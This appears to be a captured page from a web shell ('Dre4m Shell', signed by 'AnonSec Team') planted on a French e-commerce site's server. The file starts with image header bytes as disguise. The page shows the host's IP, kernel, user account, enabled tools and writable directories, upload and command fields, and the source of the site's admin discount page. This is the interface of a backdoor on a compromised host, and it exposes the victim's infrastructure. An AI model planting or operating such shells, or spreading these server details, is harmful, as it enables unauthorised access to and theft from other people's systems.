ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/tonnelles-sud-ouest.fr/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/tonnelles-sud-ouest.fr/cp-admin/promosite.php
<?php

include_once('includes/header.php');

if (isset($_POST['edit'])) {
///////////////////////////

          $requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY position"); 
          while ($row = $requete->fetch()) {
          $promo_id = $row['id'];
          $prom_cat = $_POST[$promo_id];

          $case_id = "case_" . $row['id'];
          $case_ide = ($_POST[$case_id] == 'on') ? 1 : 0;



           $qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['categories'] . " 
           SET promo = :promo WHERE id = :id");
           
           $qid->execute(array(   
                        'promo' => $prom_cat,
                        'id' => $promo_id));
             

// Produits

           $requete2 = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " p JOIN " . $GLOBALS['db_table']['products_categories'] . " pc ON p.id = pc.id_product WHERE pc.id_category = " . $promo_id); 
           while ($product = $requete2->fetch()) {

          $prod_id = $product['id'];
          $prod_discount = $product['discount_prod'];

          if ($case_ide >0) { $prod_discount = 0; } else { $prod_discount = $prod_discount ; }

          if ($prod_discount >0) { $prom_finale = $prod_discount; }
          else { $prom_finale = $prom_cat; } 
          
          
 
       
       $qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['products'] . " 
           SET discount = :discount, promo = :promo, discount_prod = :discount_prod WHERE id = :id");
           
           $qid->execute(array(   
                        'discount' => $prom_finale,
                        'promo' => $prom_cat,
                        'discount_prod' => $prod_discount,
                        'id' => $prod_id));
 

            }

 
             
             
    }
         
             

 } 
/////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////
  
?>

<div class="container">
  <form class="form-horizontal" method="post" action="#" enctype="multipart/form-data">
    <div class="row">
    	<div class="span12">
      	<div class="page-header">
       	 	<h1>Promotion en % pour les cat&eacute;gories des produits</h1>
       	 		<div class="pull-right">
              <button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
              <?php
                echo '<a href="index.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>';
              ?>
      	    </div>
        </div>
      </div>
    </div>
    
    
  <b>1- Si le produit partage plusieurs cat&eacute;gories, c'est la remise de la CAT&Eacute;GORIE PRINCIPALE qui est prise en compte !</b> 
  <br />
   <br />
    <b>2-</b> <b>Si une remise existe d&eacute;j&agrave; dans la fiche produit, elle sera 
	prioritaire.&nbsp; </b>
   <br />
  <b>&nbsp;&nbsp;&nbsp; </b> 
  	<i>En clair, entre la remise du produit et celle de la cat&eacute;gorie c'est 
	toujours la remise produit qui est prioritaire (si elle existe) ! </i> 
  <br />
   <br />
    <b>3-</b> <b>Si la remise de la cat&eacute;gorie est abaiss&eacute;e &agrave; ZERO c'est la remise du produit qui reste par d&eacute;faut (si elle existe)</b>.
   <br />
    &nbsp;&nbsp;&nbsp; <i>Il est donc possible de remiser une cat&eacute;gorie &agrave; 30% et de remiser l'un de ses produits &agrave; 10% ou 50%. Dans ce cas tous les produits n'ayant pas de remise prendra la remise de la cat&eacute;gorie Soit : 30%.</i> 
   <br />
   <br />
    <b>4-</b> <b>En cliquant sur la case &agrave; cocher, la remise prioritaire des produits sera remplac&eacute;e par la remise de la cat&eacute;gorie </b>.
   <br />
    &nbsp;&nbsp;&nbsp; <i>En 1 clic toutes les remises des fiches produits peuvent &ecirc;tre remises &agrave; ZERO et reprendre la remise g&eacute;n&eacute;rale de la  cat&eacute;gorie ! </i> 
    
    
    <?php
    echo '<div id="form-content" style="">';
	    echo '<div class="row-fluid">';
    	  echo '<div class="span12">';
    	  echo '<br /><br /><br />';
          $requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY position"); 
            while ($row = $requete->fetch()) {
                
            echo '<div class="control-group">';
            echo '<label class="control-label" for="promo"><font size="4" color="#EA3A00"><b>' . $row['name'] .' :</b></font> </label>';
            echo '<div class="controls">';
            echo '<input style="width:150px" name="' . $row['id'] . '" type="number" min="0" max="100" step="0.00001" value="' . $row['promo'] . '">';
            echo '&nbsp;&nbsp;Cette remise <b>en %</b> sera appliqu&eacute;e sur tous les produits de la CATEGORIE n\'ayant pas de remise dans leur fiche produit ';
            echo '</div>';
            echo '</div>';
            
            
            echo '<div class="control-group">';
            echo '<label class="control-label" for="fea"></label>';
            echo '<div class="controls">';
            echo '<input name="case_' . $row['id'] . '" type="checkbox" />';
            echo '&nbsp;&nbsp;<b>En cliquant cette case les remises prioritaires existantes dans les fiches produits seront supprim&eacute;es et remplac&eacute;es par la remise de la cat&eacute;gorie.</b>';
            echo '</div>';
            echo '</div>';
          
            echo '<input name="id_cat" type="hidden" value="' . $row['id'] . '">';

            
            
            
            
            
            
            
             echo '<br />';
              echo '<br />';
          

            
                }
         ?>
        </div>
      </div>
    </div>
          
  </form>
</div>

<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
    var config = {
      	'.chosen-select'           : {},
      	'.chosen-select-deselect'  : {allow_single_deselect:true},
      	'.chosen-select-no-single' : {disable_search_threshold:10},
      	'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
      	'.chosen-select-width'     : {width:"95%"}
    }
    for (var selector in config) {
      	$(selector).chosen(config[selector]);
    }
</script>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team